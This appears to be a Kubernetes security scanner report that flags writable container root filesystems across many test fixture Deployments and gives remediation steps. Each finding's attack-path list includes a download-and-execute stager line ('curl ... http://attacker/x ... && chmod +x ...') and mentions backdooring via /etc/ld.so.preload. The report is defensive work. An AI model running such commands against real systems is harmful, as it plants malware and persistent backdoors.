MEDIUM Deployment/containersec-fixtures/containersec-lifecycle Workload 5.5
Container app has a writable root filesystem in Deployment/containersec-fixtures/containersec-lifecycle
Scope · Workload Workload Deployment/containersec-fixtures/containersec-lifecycle
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-lifecycle Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-lifecycle either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/containersec-lifecycle -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/containersec-fixtures/containersec-limits Workload 5.5
Container app has a writable root filesystem in Deployment/containersec-fixtures/containersec-limits
Scope · Workload Workload Deployment/containersec-fixtures/containersec-limits
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-limits Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-limits either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/containersec-limits -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/containersec-fixtures/containersec-probes Workload 5.5
Container app has a writable root filesystem in Deployment/containersec-fixtures/containersec-probes
Scope · Workload Workload Deployment/containersec-fixtures/containersec-probes
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-probes Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-probes either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/containersec-probes -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/csr-fixtures/csr-mint-app Workload 5.5
Container app has a writable root filesystem in Deployment/csr-fixtures/csr-mint-app
Scope · Workload Workload Deployment/csr-fixtures/csr-mint-app
Category: Privilege Escalation Resource: Deployment/csr-fixtures/csr-mint-app Namespace: csr-fixtures

Container app in Deployment/csr-fixtures/csr-mint-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/csr-mint-app -n csr-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/csr-fixtures/csr-sign-app Workload 5.5
Container app has a writable root filesystem in Deployment/csr-fixtures/csr-sign-app
Scope · Workload Workload Deployment/csr-fixtures/csr-sign-app
Category: Privilege Escalation Resource: Deployment/csr-fixtures/csr-sign-app Namespace: csr-fixtures

Container app in Deployment/csr-fixtures/csr-sign-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/csr-sign-app -n csr-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/flat-network/unmatched Workload 5.5
Container app has a writable root filesystem in Deployment/flat-network/unmatched
Scope · Workload Workload Deployment/flat-network/unmatched
Category: Privilege Escalation Resource: Deployment/flat-network/unmatched Namespace: flat-network

Container app in Deployment/flat-network/unmatched either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/unmatched -n flat-network -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/foothold-fixtures/foothold-priv-app Workload 5.5
Container app has a writable root filesystem in Deployment/foothold-fixtures/foothold-priv-app
Scope · Workload Workload Deployment/foothold-fixtures/foothold-priv-app
Category: Privilege Escalation Resource: Deployment/foothold-fixtures/foothold-priv-app Namespace: foothold-fixtures

Container app in Deployment/foothold-fixtures/foothold-priv-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/foothold-priv-app -n foothold-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/foothold-fixtures/foothold-quiet-app Workload 5.5
Container app has a writable root filesystem in Deployment/foothold-fixtures/foothold-quiet-app
Scope · Workload Workload Deployment/foothold-fixtures/foothold-quiet-app
Category: Privilege Escalation Resource: Deployment/foothold-fixtures/foothold-quiet-app Namespace: foothold-fixtures

Container app in Deployment/foothold-fixtures/foothold-quiet-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/foothold-quiet-app -n foothold-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/gw-workloads/gw-web Workload 5.5
Container app has a writable root filesystem in Deployment/gw-workloads/gw-web
Scope · Workload Workload Deployment/gw-workloads/gw-web
Category: Privilege Escalation Resource: Deployment/gw-workloads/gw-web Namespace: gw-workloads

Container app in Deployment/gw-workloads/gw-web either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/gw-web -n gw-workloads -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/hookbackend-fixtures/hookbackend-injector Workload 5.5
Container app has a writable root filesystem in Deployment/hookbackend-fixtures/hookbackend-injector
Scope · Workload Workload Deployment/hookbackend-fixtures/hookbackend-injector
Category: Privilege Escalation Resource: Deployment/hookbackend-fixtures/hookbackend-injector Namespace: hookbackend-fixtures

Container app in Deployment/hookbackend-fixtures/hookbackend-injector either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/hookbackend-injector -n hookbackend-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/imgswap-fixtures/imgswap-reader-app Workload 5.5
Container app has a writable root filesystem in Deployment/imgswap-fixtures/imgswap-reader-app
Scope · Workload Workload Deployment/imgswap-fixtures/imgswap-reader-app
Category: Privilege Escalation Resource: Deployment/imgswap-fixtures/imgswap-reader-app Namespace: imgswap-fixtures

Container app in Deployment/imgswap-fixtures/imgswap-reader-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/imgswap-reader-app -n imgswap-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/ingress-only/ingress-app Workload 5.5
Container app has a writable root filesystem in Deployment/ingress-only/ingress-app
Scope · Workload Workload Deployment/ingress-only/ingress-app
Category: Privilege Escalation Resource: Deployment/ingress-only/ingress-app Namespace: ingress-only

Container app in Deployment/ingress-only/ingress-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

